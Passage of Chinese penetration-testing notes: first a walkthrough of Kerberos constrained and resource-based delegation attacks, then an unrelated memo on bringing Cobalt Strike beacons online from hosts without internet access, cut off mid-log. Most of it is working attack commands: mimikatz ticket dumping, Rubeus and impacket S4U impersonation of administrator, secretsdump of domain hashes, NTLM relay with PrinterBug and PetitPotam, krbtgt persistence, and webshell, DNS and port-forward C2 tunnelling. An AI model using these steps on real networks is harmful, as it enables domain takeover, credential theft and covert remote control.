service1响应用户对步骤5中的请求。总结:S4U2Self(用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。) 通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换。有时用户会通过其他协议(例如NTLM或者是基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。S4U2proxy(拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。查找约束委派的主机或服务账号1、利用empire中的powerviewImport-Module .\powerview.ps1;查询约束委派的主机: Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name查询约束委派的账号: Get-DomainUser -TrustedToAuth -Domain hiro.com | select name2、利用ADFind查找域中配置约束委派用户: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto查找域中配置约束委派的主机: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto3、ldapsearch约束性委派的大致流程user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT,所以只能模拟用户访问特定的服务,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2。约束性委派利用域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派机器:WIN7 域用户:justtest首先在域控上将域用户justtest注册成为SPN服务账号:setspn -S cifs/WIN7.yokan.com justtest查看是否注册成功:setspn -L justtest然后将justtest用户设置约束委派的属性,为访问域控的cifs(访问文件夹)通过命令行打开adsiedit.msc查看justtest用户属性,可以看到:当被设置为约束委派的时候,它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段,里面包含了允许委派的服务前面我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST。当知道justtest这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT:拥有明文密码tgt::ask /user:justtest /domain:yokan.com /password:**********拥有账户的Hashtgt::ask /user:justtest /domain:yokan.com /NTLM:xxxxxxxxxxxxxxxPS:如果既不知道明文也不知道Hash,如果有了服务用户登录的主机权限,可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现从内存中导出所有票据privilege::debugsekurlsa::tickets /export 然后通过justtest的TGT伪造s4u请求以administrator身份请求访问域控(WIN-1D09BAA27UF) cifs的ST :*tgs::s4u /tgt:TGT_justtest@YOKAN.COM_krbtgt~yokan.com@YOKAN.COM.kirbi /user:Administrator@yokan.com /service:cifs/WIN-1D09BAA27UF.yokan.com*(S4U2Self获取到的ST1以及S4U2Proxy获取到的域控CIFS服务的ST2会保存在当前目录下,然后我们用mimikatz将ST2导入当前会话即可)用mimikatz将票据导入内存中*kerberos::ptt TGS_Administrator@yokan.com@YOKAN.COM_cifs~WIN-1D09BAA27UF.yokan.com@YOKAN.COM.kirbi*访问域控:约束委派请求过程待抓包看一下整个委派请求的过程。参考:https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw 服务用户: win7https://xz.aliyun.com/t/7217#toc-12 服务用户 qiyouhttps://mp.weixin.qq.com/s/PDhCRD1aOcmtd2wMUrv8Qg (这篇文章也有抓包分析过程)利用约束委派生成黄金票据TGT的生成是由krbtgt用户加密和签名的,如果我们能委派krbtgt服务,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。注:TGS默认的spn是krbtgt/domain name,在我们操作环境下也就是是krbtgt/YOKAN.COMkrbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。我们可以使用powershell来添加:域控通过powershell添加justtest到krbtgt的约束委派powershell -exec bypassImport-Module ActiveDirectory$user = Get-ADUser justtest (justtest为设置为约束委派的服务账号)Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/yokan.com") }我们可以用impacket套件攻击(可以py脚本,也可以exe,这里用py)使用getST向KDC请求administrator的TGT:*python getst.py -dc-ip 192.168.111.134 -spn krbtgt/yokan.com -impersonate Administrator yokan.com/justtest:password*参数:-impersonate:表示伪造用户-spn:表示我们要委派的服务的spn,这里是TGS-dc-ip:域控ip执行之后会在当前目录生成一个缓存文件Administrator.ccache 黄金票据利用:(1)获取域控权限用mimikatz进行ptc(pass the cache),将缓存注入当前会话中xcmd下,klist查看缓存的票据访问域控(2)用wmiexec弹出一个权限为administrator交互式的shellset KRB5CCNAME=administrator.ccachepython wmiexec.py -no-pass -k administrator@WIN-1D09BAA27UF.yokan.com -dc-ip 192.168.111.134(3)导出域内哈希set KRB5CCNAME=administrator.ccachepython secretsdump.py -no-pass -k WIN-1D09BAA27UF.yokan.com基于资源的约束性委派(RBCD:Resource Based Constrained Delegation)概述传统的委派,在设置的过程中其实都是需要SeEnableDelegation特权,而这个特权需要域管理员才能设置。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束性委派只能在运行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许委派账号的SID,并且委派属性这里没有任何值。(换图)约束委派和基于资源的约束委派的区别前者:通过服务A委派到服务B,实际是在服务A上增加TRUSTED_FOR_DELEGATION字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (约束委派)字段来达到委派的目的。后者:通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段,从而允许服务A对服务B的基于资源的约束委派。所以当利用到基于资源的约束委派的时候,服务A的两个字段是没有赋值的,当这两个字段没有被赋值的时候,通过S4U2Self得到的ST服务票证是不可被转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。但是:在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证。因此,如果能够在服务B上配置允许服务A的基于资源的约束委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据,那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。基于资源的约束性委派的优势1、委派的权限授予给了拥有资源的后端,而不再是前端2、约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林3、不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是拥有’将域机器加入域’的域用户和机器自身的权限。基于资源的约束性委派利用条件利用基于资源的约束委派(RBCD)需要2个条件:1.拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)2.一个任意服务账户或者一个机器账户(每一个域用户都可以添加10个机器账户)补充:1.如果导入powerview后执行以下命令后有回显,证明win7主机配置了基于资源的约束性委派。Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity2.查找将win主机拉入域内的人的sid,其实就是查找这台主机的mS-DS-CreatorSID值:AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID基于资源的约束性委派流程基于资源的约束性委派利用攻击前域:yokan 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 域内机器:DESKTOP-JSNG43Q(一台Windows10),域内用户justtest把这台机器加入到域内1、通过ADFind查找将域机器拉入域的用户的SID:*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID*(如果一个机器账号没有mS-DS-CreatorSID,那么他是被域管拉入到域内的,比如上图前三个)查看S-1-5-21-3711814681-2143907425-4066055064-1138是谁:*AdFind.exe -b "DC=yokan,DC=com" -f "(&(objectsid= S-1-5-21-3711814681-2143907425-4066055064-1138))" objectclass cn dn*假如现在已经拿到了把DESKTOP-JSNG43Q这台机器加入域的用户justtest的权限使用whoami /all查询当前用户的sid同样可以通过用户的sid查看哪些域机器是通过自己(justtest)加入到域内的:*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID= S-1-5-21-3711814681-2143907425-4066055064-1138))" cn sAMAccountType objectCategory*2、利用powermad添加机器账户:(下载:https://github.com/Kevin-Robertson/Powermad)这里以justtest用户创建一个域机器名为win10system,密码为win10Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)验证是否创建成功:net group "domain computers" /domain3、查询添加机器的SID:(1) 在域控制器上查询dsquery computer | dsget computer -dn -sid或者powershell运行Get-ADComputer win10system(2) 在域机器上查询使用empire下的powerview:Import-Module .\powerview.ps1Get-DomainComputer -Identity win10systemS-1-5-21-3711814681-2143907425-4066055064-11414、然后设置win10system到DESKTOP-P34E60A的基于资源的约束委派(使用empire下的powerview),即DESKTOP-P34E60A自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3711814681-2143907425-4066055064-1141)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer DESKTOP-JSNG43Q| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose检查是否配置成功:(使用empire下的powerview)Get-DomainComputer DESKTOP-JSNG43Q -Properties msds-allowedtoactonbehalfofotheridentity也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-JSNG43Q机器属性,可以看到:当被设置为基于资源的约束委派的时候,它的msDS-AllowedToActOnBehalfOfOtherIdentity会包含有效字段。(攻击完成清除基于资源的约束委派配置:[导入powerview]Set-DomainObject DESKTOP-JSNG43Q -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose)补充:如果满足了“利用条件“,可以直接使用这个工具(https://github.com/tothi/rbcd-attack)****添加机器账户,配置基于资源的约束委派,两条命令即可,很方便)使用 如下:现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了:攻击1.使用rubeus获取票据Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.comRubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /pttdir [\WIN-1D09BAA27UF\c$](file://WIN-1D09BAA27UF/c$)2.使用impacket套件获取python3 getST.py -dc-ip 192.168.111.134 -spn cifs/DESKTOP-JSNG43Q -impersonate administrator yokan.com/win10system$:win10set KRB5CCNAME=administrator.ccachepython3 wmiexec.py -no-pass -k administrator@DESKTOP-JSNG43Q.yokan.com -dc-ip 192.168.111.134基于资源的约束委派+spool服务(PrinterBug)+CVE-2019-1040CVE-2019-1040可以绕过NTLM中的MIC(消息完整性检查),修改已经过协商签名的身份验证流量。有两种利用方式,一个是攻击Exchange 机器,迫使Exchange机器用户向我们发起请求,另外一个就是攻击域管机器,迫使域管机器用户向我们发起请求。这里我们用到的是 攻击域管机器。在有辅助域的内网中,利用此漏洞,就能直接获取到域控的权限。环境:PDC : 192.168.111.134ADC : 192.168.111.135已控普通域内机器:192.168.111.攻击机kali : 192.168.111.142已知域用户: justtest *******利用:1、 由于所有域用户向都可以在域中添加10个计算机帐户,因此在受控域内机器上,使用justtest的用户身份新建一个机器用户tttest:创建方式有很多,可以使用powermad.ps1脚本。 这里使用impacket工具包里的addcomputer.pypython addcomputer.py -computer-name 'tttest' -computer-pass ttttest -dc-ip 192.168.111.134 yokan.com/justtest:YOKAN_vege947!!@@2、使用impacket中的ntlmrelay.py监听445进行监听等待域控进行连接python ntlmrelayx.py -t ldap://192.168.111.134 -smb2support --remove-mic --delegate-access --escalate-user tttest$ -debug(别忘了转义)执行ntlmrelayx.py脚本,--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者,--escalate-user参数设置tttest机器用户的资源委派,--remove-mic参数了是去除mic验证3 使用打印机漏洞让域控连接我们的445(注意攻击的域控跟回连的LDAP所在的服务器不要在同一台域控)使用任意域账号SMB连接辅助域控制器,触发printerbug,使辅助域控制器用自己的用户身份回连攻击者主机python printerbug.py yokan.com/justtest:YOKAN_vege947!!@@@192.168.111.135 192.168.111.142此时ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC),并设置了tttest$到ADC辅助域控制器的约束委派(网图,我主域控是server08,没有成功)(https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ)4 使用impaket中的getSP.py脚本,通过-impersonate参数模拟用户administrator请求其票据,再利用票据执行命令首先:python3 getST.py -spn cifs/ADC.yokan.com yokan/tttest$:tttest -dc-ip 192.168.111.134 -impersonate administrator导入票据:export KRB5CCNAME=administrator.ccache获取辅助域控shellpython3 smbexec.py -k -no-pass adc.yokan.com基于资源的约束委派+petitpotam+CVE-2019-1040利用PetitPotam,可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证。而且在低版本(08和12)的情况下,可以匿名触发,不需要域用户。在16版本以上,就需要指定一个普通域用户账号和密码了。利用过程与上面类似,只不过触发方式从prinrtbug改为petitpotam1、****添加计算机账户python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."2、****开启中继python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1$ -smb2support --remove-mic3、触发PetitPotampython3 Petitpotam.py 192.168.164.128 192.168.164.147(这里是server2012,不需要指定用户名密码)PS 如果是server2016以上,触发方式为:python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.1474****、获取票据这里我重新搭建了域环境,所以机器名变了python3 getST.py -dc-ip 192.168.164.146 test/rbcd1$:123456 -spn cifs/father2.test.com -impersonate administrator5、 加载票据使用export KRB5CCNAME=administrator.ccachepsexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.comsecretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt利用基于资源的约束委派进行权限维持跟约束委派利用相似,可以配置win10system到krbtgt的基于资源的约束委派,只要有了win10system的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT.在域控上执行:$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose可以看到krbtgt的msDS-AllowedToActOnBehalfOfOtherIdentity会包含有效字段。1.使用rubeus伪造administrator请求TGTRubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /pttklist查看缓存票证访问域控2.同样的也能用impacket套件python3 getST.py -dc-ip 192.168.111.134 -spn krbtgt -impersonate administrator yokan.com/win10system$:win10set KRB5CCNAME=administrator.ccachepython3 wmiexec.py -no-pass -k administrator@DESKTOP-JSNG43Q.yokan.com -dc-ip 192.168.111.134防御\1. 高权限账号设置禁止委派属性\2. 微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012\3. kerberos预认证不使用DES或RC4等加密算法(尽量使用AES256)同样能够预防Kerberoast攻击参考https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1swhttps://xz.aliyun.com/t/7217https://shanfenglan.blog.csdn.net/article/details/111249630https://xz.aliyun.com/t/10061#toc-12 (利用基于资源的约束委派提权)委派知识点全收录:https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQprinterbug/petitpotam+rbcd :https://www.cnblogs.com/zpchcbd/p/15857942.html永远相信 永远热爱
总结了一下各种常见不出网情况下,上线CS的方式,作为一个备忘录。以下截图在不同时间/环境截取,IP会有些不同情况一:存在一台中转机器存在一台中转机器,这台机器出网,这种是最常见的情况。经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。拓扑大致如下:上线方法一: SMB Beacon介绍官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。使用这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线或在Beacon中使用命令spawn smb(smb为我的smb listener名字)使用插件,或自带端口扫描,扫描内网机器转到视图,选择目标使用psexec选择一个hash,选择smb 监听器和对应会话即可上线运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。当前是连接状态,你可以Beacon上用link 命令链接它或者unlink 命令断开它。这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接它。上线方法二:中转listener(Reverse TCP Beacon)其实和方法一是类似的以下内容会自动配置然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener上线方法三:HTTP 代理中转机器不需要上线即可使用goproxy项目做代理,项目地址:https://github.com/snail007/goproxy过程:1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=80803.创建listener,配置如下4.生成stageless payload,在业务服务器上执行,成功上线连接过程192.168.111.236 → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)上线方法四、TCP Beacon(正向)正向连接和SMB Beacon比较类似。也需要一个父beaconSMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。测试:生成一个tcp beacon使用该beacon生成一个stageless形式的木马:上传到目标机器运行:在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。上线方法五、使用pystinger进行代理转发pystinger的详细使用 见下面章节。 这里仅简单演示一下:一般不会将pystinger用在这种场景下测试环境:攻击机kali:192.168.1.35web服务器:192.168.1.70、192.168.111.129业务服务器:192.168.111.236过程:1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8web服务器外网ip为192.168.1.70上传stinger_server.exe,执行start stinger_server.exe 0.0.0.0攻击机(192.168.1.89)上执行./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000此时已经将web服务器的60020端口转发到vps的60020端口上了CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020:使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线:补充:中转机器为LinuxHTTP代理(中转机器不需要上线即可)使用方法与上面方法三一样。只不过要使用iptables转发:echo 1 >/proc/sys/net/ipv4/ip_forwardiptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080 iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131测试:中转机器(192.168.111.142)攻击机生成stageless payload,在目标机器上执行,成功上线连接过程:(重新截的图,端口改了一下8080->8081)192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2)使用pystinger进行代理转发和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。CrossC2通过其他机器的Beacon可以直接上线Linux机器CrossC2使用用来上线Linux或MacOS机器项目地址: 【一定要下载对应版本的】https://github.com/gloxec/CrossC2配置:(我这里在Windows上运行的teamserver)创建个https监听:生成个payload(用其他方式也可以)如果生成不了,也可以直接命令行生成生成之后,上传到Linux机器,运行,即可上线:安装CrossC2Kit插件,丰富beacon的功能网机器上线CS:中转的Linux机器上线之后,即可用上面的方法来上线内网机器。TCP Beacon:上传到目标机器运行。然后在Linux beacon下连接:上线之后是个黑框,checkin一下就可以了情况二:边缘机器只有DNS协议出网DNS上线CS一、准备工作1)域名 ,godaddy :yokan.xxx2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.193)cobalt strike 4.1二、域名设置1)设置解析配置A记录设置成vps的ip,cs也配置在vps上配置几个ns记录 指向刚刚A记录对应的域名配置完成之后ping test.yokan.xxx 可以ping通vps上查看53端口占用情况,停掉vps的53端口服务systemctl stop systemd-resolved2)cs设置监听![image-都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。3)nslookup查看 ,成功解析:注意:响应的地址74.125.196.113,这个是跟profile里设置的三、cs上线生成cs的stageless上线马,执行上线stageless 马 dns有x64版本 , stager没有上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserverPS:需要多等一会这样就可以正常交互了:情况三:边缘机器不出网方法一、TCP Beacon 正向连接应用场景:边缘机器各种协议均不出网,但是可以正向访问到。使用:先让自己的攻击机上线然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:方法二、使用pystinger(毒刺)工具应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。项目地址:https://github.com/FunnyWolf/pystinger简单原理:Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs(图源网络)使用地址:https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md这里直接复制过来了:假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11SOCK4代理proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020cobalt strike单主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to acceptcobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1生成payload,上传到主机运行后即可上线cobalt strike多主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe 192.168.3.11启动服务端192.168.3.11可以改成0.0.0.0stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020 2020-01-06 21:12:47,697 - 